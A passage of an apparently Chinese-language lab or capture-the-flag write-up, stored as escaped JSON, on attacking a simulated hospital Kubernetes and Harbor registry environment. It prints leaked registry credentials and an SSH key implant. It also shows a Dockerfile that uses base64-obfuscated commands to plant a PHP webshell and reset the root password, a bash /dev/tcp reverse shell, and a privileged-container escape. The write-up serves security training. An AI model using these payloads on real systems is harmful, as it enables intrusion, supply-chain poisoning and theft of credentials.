\u663e\u793asecrets\u8d44\u6e90\uff0c\u53d1\u73b0\u524d\u9762Dashboard\u4e2d\u770b\u5230\u7684harbor-registry-secret<\/code>\uff0c\u6253\u5370\u51fa\u6765<\/p>\nkubectl --kubeconfig k8s.yaml get secrets\nkubectl --kubeconfig k8s.yaml get secrets harbor-registry-secret\nkubectl --kubeconfig k8s.yaml get secret harbor-registry-secret -o jsonpath='{.data.\\.dockerconfigjson}'<\/code><\/pre>\n![\"cloudnet_41\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_41.png\")
<\/p>\n
base64\u89e3\u7801\u5f97\u5230 harbor \u7684admin\u8d26\u5bc6<\/p>\n
{"auths":{"172.22.18.64":{"username":"admin","password":"password@nk9DLwqce","auth":"YWRtaW46cGFzc3dvcmRAbms5REx3cWNl"}}}<\/code><\/pre>\nHarbor\u79c1\u6709\u4ed3\u5e93\u955c\u50cf\u62c9\u53d6<\/h4>\n
\u767b\u5f55\u4e4b\u540e\u5c31\u53ef\u4ee5\u770b\u5230\u539f\u672c\u770b\u4e0d\u5230\u7684\u79c1\u6709\u955c\u50cf\u4ed3\u5e93\u4e86<\/p>\n
![\"cloudnet_42\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_42.png\")
<\/p>\n
\u62c9\u53d6hospital\/flag<\/code>\u955c\u50cf<\/p>\n![\"cloudnet_43\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_43.png\")
<\/p>\n
\u62c9\u4e4b\u524d\u8981\u5148\u7528\u8be5\u8d26\u5bc6\u767b\u5f55\u4e00\u4e0bdocker<\/p>\n
proxychains4 -q docker login 172.22.18.64\nproxychains4 -q docker pull 172.22.18.64\/hospital\/flag@sha256:850b67d6a14da0e6ff76c87d9eb3dc6d788090ad5998e8d12244a6e235d3911a\n\u6216\u8005\nproxychains4 -q docker pull 172.22.18.64\/hospital\/flag:latest<\/code><\/pre>\npull\u7684\u5de8\u5de8\u5de8\u5de8\u5de8\u5de8\u5de8\u5de8\u5de8\u6162\uff0c\u8fdb\u53bb\u62ff\u5230\u7b2c\u4e03\u4e2aflag<\/p>\n
![\"cloudnet_44\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_44.png\")
<\/p>\n
flag8<\/h3>\nHarbor\u955c\u50cf\u540c\u6b65<\/h4>\n
\u63a5\u7740\u770bhospital:system<\/code>\u955c\u50cf\u65e5\u5fd7\uff0c\u53ef\u4ee5\u770b\u5230admin\u6bcf\u9694\u4e00\u6bb5\u65f6\u95f4\u5c31\u4f1a\u62c9\u53d6\u8be5\u955c\u50cf<\/p>\n![\"cloudnet_45\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_45.png\")
<\/p>\n
\u56de\u5230master\u8282\u70b9\u90a3\u53f0\u5bbf\u4e3b\u673a\uff0c\u5199\u4e2a\u516c\u94a5<\/p>\n
echo -e "\\n\\nssh-rsa AAAAB3N...kwaQ== root@kali\\n\\n" >> \/simho\/root\/.ssh\/authorized_keys \n\nssh root@172.22.15.75<\/code><\/pre>\n![\"cloudnet_46\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_46.png\")
<\/p>\n
\u53ef\u4ee5\u770b\u5230\u5185\u7f51ip172.22.50.75<\/code>\uff0c\u8fd8\u662f\u901a\u8fc7scp\u4f20fscan\u626b\u4e00\u4e0b\u65b0\u7f51\u6bb5\uff0c\u5728172.22.50.45<\/code>\u673a\u5668\u6709web\u670d\u52a1<\/p>\n![\"cloudnet_47\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_47.png\")
<\/p>\n
\u5c06hospital\/system<\/code>\u955c\u50cfpull\u5230\u672c\u5730<\/p>\nproxychains4 -q docker pull 172.22.18.64\/hospital\/system:latest<\/code><\/pre>\n\u53d1\u73b0\u8be5\u955c\u50cf\u4e5f\u6709web\u670d\u52a1\uff0c\u5bf9\u6bd4\u53d1\u73b0\u8be5\u955c\u50cf\u8ddf172.22.50.45<\/code>\u673a\u5668\u7684web\u670d\u52a1\u90fd\u6709p.php<\/code>\u6587\u4ef6\uff0c\u56e0\u6b64\u57fa\u672c\u8bf4\u660eadmin\u7528\u6237\u5c31\u662f\u5b9a\u65f6\u5c06\u955c\u50cf\u7ed9pull\u5230\u8fd9\u53f0\u673a\u5668\u4e0a<\/p>\n![\"cloudnet_48\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_48.png\")
<\/p>\n
![\"cloudnet_49\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_49.png\")
<\/p>\n
\u521b\u5efa\u6076\u610fDockerfile\u6587\u4ef6\uff0c\u4e3b\u8981\u505a\u4e86\u4e09\u4e2a\u6b65\u9aa4<\/p>\n
\n- \u5728web\u76ee\u5f55\u5199webshell<\/li>\n
- \u7ed9find\u6587\u4ef6\u6dfb\u52a0suid\u6743\u9650<\/li>\n
- \u5c06root\u7528\u6237\u5bc6\u7801\u6539\u4e3a
password<\/code><\/li>\n<\/ul>\nFROM 172.22.18.64\/hospital\/system\n\nRUN echo ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+JyA+IC92YXIvd3d3L2h0bWwvc2hlbGwucGhwICYmIGNobW9kIHUrcyAvdXNyL2Jpbi9maW5k | base64 -d | bash && echo password | echo ZWNobyAicm9vdDpwYXNzd29yZCIgfCBjaHBhc3N3ZA== | base64 -d | bash\n\nENTRYPOINT ["\/usr\/sbin\/apache2ctl", "-D", "FOREGROUND"]<\/code><\/pre>\n\u5728\u672c\u5730\u5c06\u8be5Dockerfile\u6587\u4ef6\u5236\u4f5c\u6210\u955c\u50cf\uff0c\u5e76push\u5230docker\uff0c\u7b49\u5f8520\u5206\u949f\u4e00\u8f6e\u7684\u62c9\u53d6<\/p>\n
proxychains4 -q docker build -t 172.22.18.64\/hospital\/system . \nproxychains4 -q docker push 172.22.18.64\/hospital\/system<\/code><\/pre>\n\u4e4b\u540e\u8681\u5251\u8fde\u63a5\uff0c\u5728tmp\u76ee\u5f55\u4e0b\u65b0\u5efa\u4e00\u4e2ash\u811a\u672c\uff0c\u5185\u5bb9\u662f\u5f39\u4e00\u4e2ashell\u5230master\u8282\u70b9\u5bbf\u4e3b\u673a<\/p>\n
shell.sh<\/p>\n
#!\/bin\/sh\nbash -c "\/bin\/bash -i >& \/dev\/tcp\/172.22.15.75\/4567 0>&1"<\/code><\/pre>\n\u6267\u884c\u524d\u8bb0\u5f97\u5148\u5728master\u8282\u70b9\u5bbf\u4e3b\u673a\u5f00\u542f\u76d1\u542c\uff0c\u5e94\u8be5\u90a3\u53f0\u673a\u6ca1\u6709nc\uff0c\u56e0\u6b64\u5148scp\u4f20\u4e00\u4e2a\u4e0a\u53bb<\/p>\n
\/usr\/bin\/find .\/ -exec .\/shell.sh \\;<\/code><\/pre>\nDocker privileged\u63d0\u6743<\/h4>\n
\u6b64\u65f6\u63d0\u6743\u5230root\u6743\u9650\uff0c\u5229\u7528privileged\u63d0\u6743\u9003\u9038\uff0c\u62ff\u5230\u8be5\u5bbf\u4e3b\u673a\u4e0a\u7684\u6700\u540e\u4e00\u4e2aflag<\/p>\n
cat \/proc\/self\/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"\ncat \/proc\/self\/status | grep CapEff\n# 0000003fffffffff \u6216\u662f 0000001fffffffff\n\ndf -h \nmkdir \/simho\nmount \/dev\/vda3 \/simho \ncat \/simho\/flag.txt<\/code><\/pre>\n![\"cloudnet_50\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_50.png\")
<\/p>\n
\u62d3\u6251\u56fe<\/h3>\n
\u6839\u636e\u6574\u4f53\u73af\u5883\uff0c\u753b\u4e86\u4e2a\u5927\u81f4\u7684\u62d3\u6251\u56fe<\/p>\n
![\"cloudnet_51.png\"](\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2025\/05\/cloudnet_51.png\")
<\/p>\n
\u300a\u53d7 \u76ca \u826f \u591a\u300b.jpg<\/p>\n
<\/div>","protected":false},"excerpt":{"rendered":"
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